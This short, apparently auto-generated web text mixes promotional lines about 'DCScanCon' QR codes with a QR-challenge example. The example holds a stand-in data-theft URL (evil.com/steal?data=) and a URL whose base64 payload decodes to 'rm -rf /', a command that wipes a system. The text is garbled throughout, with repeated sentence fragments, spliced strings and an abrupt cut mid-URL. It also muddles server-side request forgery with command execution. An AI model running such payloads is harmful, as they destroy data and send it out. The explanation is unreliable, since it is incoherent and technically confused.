Unlike plaintext QR codes, DCScanCon codes encode data in a proprietary or highly secure format. Even if someone takes a picture of the code, they cannot decipher the underlying information without the corresponding decoding key.
Why should you switch from standard QR codes to DCScanCon? Here are the standout advantages: dcscancon qr code
A DCScanCon QR challenge might present a QR code. Scanning with a standard reader shows: Unlike plaintext QR codes, DCScanCon codes encode data
DCSCANhttps://evil.com/steal?data=
But actually, the QR contains:
https://scanme.com/log?payload=base64:cm0gLXJmIC8=
If the scanner automatically fetches the URL without sanitization, it triggers a callback – demonstrating SSRF (Server-Side Request Forgery). But actually, the QR contains: https://scanme